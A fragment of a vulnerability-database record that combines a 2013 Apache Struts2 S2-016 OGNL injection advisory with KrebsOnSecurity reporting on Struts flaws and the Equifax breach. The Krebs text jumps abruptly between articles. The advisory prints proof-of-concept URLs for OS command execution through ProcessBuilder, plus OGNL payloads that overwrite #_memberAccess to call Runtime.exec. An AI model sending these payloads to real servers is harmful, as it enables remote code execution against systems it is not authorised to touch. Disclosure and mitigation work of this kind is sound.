"type": "securityvulns", "title": "Struts2 Prefixed Parameters OGNL Injection Vulnerability", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2013-2248", "CVE-2013-2251"], "modified": "2013-09-09T00:00:00", "id": "SECURITYVULNS:DOC:29766", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:29766", "sourceData": "", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "zdt": [{"lastseen": "2018-04-13T03:42:50", "description": "The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with \"action:\" or \"redirect:\", followed by a desired navigational target expression.

This is\n caused by insecure handling of prefixed special parameters (action:,\n redirect: and redirectAction:) in DefaultActionMapper class of Struts2.\n\nDetails:\n <About DefaultActionMapper>\n\n Struts2's ActionMapper is a mechanism for mapping between incoming HTTP\n request and action to be executed on the server. DefaultActionMapper is\n a default implementation of ActionMapper. It handles four types of\n prefixed parameters: action:, redirect:, redirectAction: and method:.\n\n For example, redirect prefix is used for HTTP redirect.\n\n Normal redirect prefix usage in JSP:\n <s:form action=\"foo\">\n ...\n <s:submit value=\"Register\"/>\n <s:submit name=\"redirect:http://www.google.com/\" value=\"Cancel\"/>\n </s:form>\n\n If the cancel button is clicked, redirection is performed.\n\n Request URI for redirection:\n /foo.action?redirect:http://www.google.com/\n\n Resopnse Header:\n HTTP/1.1 302 Found\n Location: http://www.google.com/\n\n Usage of other prefixed parameters is similar to redirect.\n See Struts2 document for details.\n https://cwiki.apache.org/confluence/display/WW/ActionMapper\n\n <How the Attack Works>\n\n As stated already, there are four types of prefixed parameters.\n\n action:, redirect:, redirectAction:, method:\n\n All except for method: can be used for attacks. But regarding action:,\n it can be used only if wildcard mapping is enabled in configuration.\n On the one hand, redirect: and redirectAction: are not constrained by\n configuration (thus they are convenient for attackers).\n\n One thing that should be noted is that prefixed parameters are quite\n forceful. It means that behavior of application which is not intended\n to accept prefixed parameters can also be overwritten by prefixed\n parameters added to HTTP request. Therefore all Struts2 applications\n that use DefaultActionMapper are vulnerable to the attack.\n\n The injection point is name of prefixed parameters.\n Example of attack using redirect: is shown below.\n\n Attack URI:\n /bar.action?redirect:http://www.google.com/%25{1000-1}\n\n Response Header:\n HTTP/1.1 302 Found\n Location: http://www.google.com/999\n\n As you can see, expression (1000-1) is evaluated and the result (999)\n is appeared in Location response header. As I shall explain later,\n more complex attacks such as OS command execution is possible too.\n\n In DefaultActionMapper, name of prefixed parameter is once stored as\n ActionMapping object and is later executed as OGNL expression.\n Rough method call flow in execution phase is as the following.\n\n org.apache.struts2.dispatcher.ng.filter.StrutsExecuteFilter.doFilter()\n org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction()\n org.apache.struts2.dispatcher.Dispatcher.serviceAction()\n org.apache.struts2.dispatcher.StrutsResultSupport.execute()\n org.apache.struts2.dispatcher.StrutsResultSupport.conditionalParse()\n com.opensymphony.xwork2.util.TextParseUtil.translateVariables()\n com.opensymphony.xwork2.util.OgnlTextParser.evaluate()\n\nProof of Concept:\n <PoC URLs>\n\n PoC is already disclosed on vender's web page.\n https://struts.apache.org/release/2.3.x/docs/s2-016.html\n\n Below PoC URLs are just quotes from the vender's page.\n\n Simple Expression:\n http://host/struts2-blank/example/X.action?action:%25{3*4}\n http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}\n\n OS Command Execution:\n http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}\n http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}\n http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}\n\n Obviously such attacks are not specific to blank/showcase application,\n but all Struts2 based applications may be subject to attacks.\n\n <OS Command Execution and Static Method Call>\n\n Another topic that I think worth mentioning is that PoC URLs use\n ProcessBuilder class to execute OS commands. The merit of using this\n class is that it does not require static method to execute OS commands,\n while Runtime class does require it.\n\n As you may know, static method call in OGNL is basically prohibited.\n But in Struts2 <= v2.3.14.1 this restriction was easily bypassed by\n a simple trick:\n\n %{#_memberAccess['allowStaticMethodAccess']=true,\n @java.lang.Runtime@getRuntime().exec('your commands')}\n\n In Struts v2.3.14.2, SecurityMemberAccess class has been changed to\n prevent the trick. However there are still some techniques to call\n static method in OGNL.\n\n One technique is to use reflection to replace static method call to\n instance method call. Another technique is to overwrite #_memberAccess\n object itself rather than property of the object:\n\n %{#_memberAccess=new com.opensymphony.xwork2.ognl.SecurityMemberAccess(true),\n @java.lang.Runtime@getRuntime().exec('your commands')}\n\n Probably prevention against static method is just an additional layer\n of defense, but I think that global objects such as #_memberAccess\n should be protected from rogue update.\n\nTimeline:\n 2013/06/24 Reported to Struts Security ML\n 2013/07/17 Vender announced v2.3.15.1\n 2013/08/10 Disclosure of this advisory\n\nRecommendation:\n Immediate upgrade to the latest version is strongly recommended as\n active attacks have already been observed. It should be noted that\n redirect: and redirectAction: parameters were completely dropped and\n do not work in the latest version as stated in the vender's page.\n Thus attention for compatibility issues is required for upgrade.\n\n If you cannot upgrade your Struts2 immediately, filtering (by custom\n servlet filter, IPS, WAF and so on) can be a mitigation solution for\n this vulnerability. Some points about filtering solution are listed\n below.\n\n - Both %{expr} and ${expr} notation can be used for attacks.\n - Parameters both in querystring and in request body can be used.\n - redirect: and redirectAction: can be used not only for Java method\n execution but also for open redirect.\n\n See S2-017 (CVE-2013-2248) for open redirect issue.\n https://struts.apache.org/release/2.3.x/docs/s2-017.html\n\nReference:\n https://struts.apache.org/release/2.3.x/docs/s2-016.html\n https://cwiki.apache.org/confluence/display/WW/ActionMapper", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "krebs": [{"lastseen": "2018-08-23T21:31:12", "description": "In September 2017, **Equifax** disclosed that a failure to patch one of its Internet servers against a pervasive software flaw -- in a Web component known as **Apache Struts** -- led to a breach that [exposed personal data on 147 million Americans](<https://krebsonsecurity.com/2017/09/the-equifax-breach-what-you-should-know/>). Now security experts are warning that blueprints showing malicious hackers how to exploit a newly-discovered Apache Struts bug are available online, leaving countless organizations in a rush to apply new updates and plug the security hole before attackers can use it to wriggle inside.\n\n\n\nOn Aug. 22, the **Apache Software Foundation** released software updates to fix [a critical vulnerability](<https://cwiki.apache.org/confluence/display/WW/S2-057>) in Apache Struts, a Web application platform used by an estimated 65 percent of Fortune 100 companies. Unfortunately, computer code that can be used to exploit the bug has since been posted online, meaning bad guys now have precise instructions on how to break into vulnerable, unpatched servers.\n\nAttackers can exploit a Web site running the vulnerable Apache Struts installation using nothing more than a Web browser. The bad guy simply needs to send the right request to the site and the Web server will run any command of the attacker's choosing. At that point, the intruder could take any number of actions, such as adding or deleting files, or copying internal databases.\n\nAn [alert](<https://semmle.com/news/apache-struts-CVE-2018-11776>) about the Apache security update was posted Wednesday by **Semmle**, the San Francisco software company whose researchers discovered the bug.\n\n\"The widespread use of Struts by leading enterprises, along with the proven potential impact of this sort of vulnerability, illustrate the threat that this vulnerability poses,\" the alert warns.\n\n\"Critical remote code execution vulnerabilities like the one that affected Equifax and the one we announced today are incredibly dangerous for several reasons: Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\" wrote Semmle co-founder **Pavel Avgustinov**. \"A hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system. It\u2019s crucially important to update affected systems immediately; to wait is to take an irresponsible risk.\"\n\nThe timeline in the 2017 Equifax breach highlights how quickly attackers can take advantage of Struts flaws. On March 7, 2017, Apache released a patch for a similarly dangerous Struts flaw, and within 24 hours of that update security experts began tracking signs that attackers were exploiting vulnerable servers.\n\nJust three days after the patch was released, attackers found Equifax's servers were vulnerable to the Apache Struts flaw, and used the vulnerability as an initial entry point into the credit bureau's network.\n\n[](<https://krebsonsecurity.com/wp-content/uploads/2018/08/equifaxhack.png>)\n\nA slide from \"We are all Equifax,\" an RSA talk given in April 2018 by Derek Weeks.\n\nThe vulnerability affects all supported versions of Struts 2.

At first glance, the private notices obtained by KrebsOnSecurity appear to suggest that hackers initially breached Equifax starting in November 2016. But Equifax says the accounts were all stolen at the same time -- when hackers accessed the company's systems in mid-May 2017.\n\n\n\nBoth Visa and MasterCard frequently send alerts to card-issuing financial institutions with information about specific credit and debit cards that may have been compromised in a recent breach. But it is unusual for these alerts to state from which company the accounts were thought to have been pilfered.\n\nIn this case, however, Visa and MasterCard were unambiguous, referring to Equifax specifically as the source of an e-commerce card breach.\n\nIn a non-public alert sent this week to sources at multiple banks, Visa said the \"window of exposure\" for the cards stolen in the Equifax breach was between Nov. 10, 2016 and July 6, 2017. A similar alert from MasterCard included the same date range.\n\n\"The investigation is ongoing and this information may be amended as new details arise,\" Visa said in its confidential alert, linking to the press release Equifax initially posted about the breach on Sept. 7, 2017.\n\nThe card giant said the data elements stolen included card account number, expiration date, and the cardholder's name. Fraudsters can use this information to conduct e-commerce fraud at online merchants.\n\nIt would be tempting to conclude from these alerts that the card breach at Equifax dates back to November 2016, and that perhaps the intruders then managed to install software capable of capturing customer credit card data in real-time as it was entered on one of Equifax's Web sites.\n\nIndeed, that was my initial hunch in deciding to report out this story. But according to a statement from Equifax, the hacker(s) downloaded the data in one fell swoop in mid-May 2017.\n\n\u201cThe attacker accessed a storage table that contained historical credit card transaction related information,\" the company said. \"The dates that you provided in your e-mail appear to be the transaction dates. We have found no evidence during our investigation to indicate the presence of card harvesting malware, or access to the table before mid-May 2017.\u201d\n\nEquifax did not respond to questions about how it was storing credit card data, or why only card data collected from customers after November 2016 was stolen.\n\nIn its [initial breach disclosure](<https://investor.equifax.com/news-and-events/news/2017/09-07-2017-213000628>) on Sept. 7, Equifax said it discovered the intrusion on July 29, 2017. The company said the hackers broke in through a vulnerability in the software that powers some of its Web-facing applications.\n\nIn [an update to its breach disclosure](<https://www.equifaxsecurity2017.com/>) published Wednesday evening, Equifax confirmed reports that the application flaw in question was a weakness disclosed in March 2017 in a popular open-source software package called **Apache Struts **([CVE-2017-5638](<https://nvd.nist.gov/vuln/detail/CVE-2017-5638>))**. **\n\n\"Equifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cybersecurity firm to determine what information was accessed and who has been impacted,\" the company wrote. \"We know that criminals exploited a U.S. website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638. We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement.\"\n\nThe Apache flaw was [first spotted around March 7, 2017](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>), when security firms began warning that attackers were actively exploiting a \"zero-day\" vulnerability in Apache Struts. Zero-days refer to software or hardware flaws that hackers find and figure out how to use for commercial or personal gain before the vendor even knows about the bugs.\n\nBy March 8, Apache had released new versions of the software to mitigate the vulnerability. But by that time exploit code that would allow anyone to take advantage of the flaw was already published online -- making it a race between companies needing to patch their Web servers and hackers trying to exploit the hole before it was closed.\n\nScreen shots apparently taken on March 10, 2017 and later posted to the vulnerability tracking site xss[dot]cx indicate that the Apache Struts vulnerability [was present at the time on annualcreditreport.com](<http://xss.cx/2017/03/12/txt/cve-2017-5638-annualcreditreportcom-exploit-poc-content-type-http-header-example.html>) -- the only web site mandated by Congress where all Americans can go to obtain a free copy of their credit reports from each of the three major bureaus annually.\n\nIn [another screen shot](<http://xss.cx/2017/03/12/txt/cve-2017-5638-consumerexperianin-exploit-poc-content-type-http-header-example.html>) apparently made that same day and uploaded to xss[dot]cx, we can see evidence that the Apache Struts flaw also was present in Experian's Web properties.\n\nEquifax has said the unauthorized access occurred from mid-May through July 2017, suggesting either that the company's Web applications were still unpatched in mid-May or that the attackers broke in earlier but did not immediately abuse their access.\n\nIt remains unclear when exactly Equifax managed to fully eliminate the Apache Struts flaw from their various Web server applications. But one thing we do know for sure: The hacker(s) got in before Equifax closed the hole, and their presence wasn't discovered until July 29, 2017.\n\n**Update, Sept. 15, 12:31 p.m. ET:** Visa has updated their advisory about these 200,000+ credit cards stolen in the Equifax breach. Visa now says it believes the records also included the cardholder's Social Security number and address, suggesting that (ironically enough) the accounts were stolen from people who were signing up for credit monitoring services through Equifax.\n\nEquifax also clarified the breach timeline to note that it patched the Apache Struts flaw in its Web applications only after taking the hacked system(s) offline on July 30, 2017.
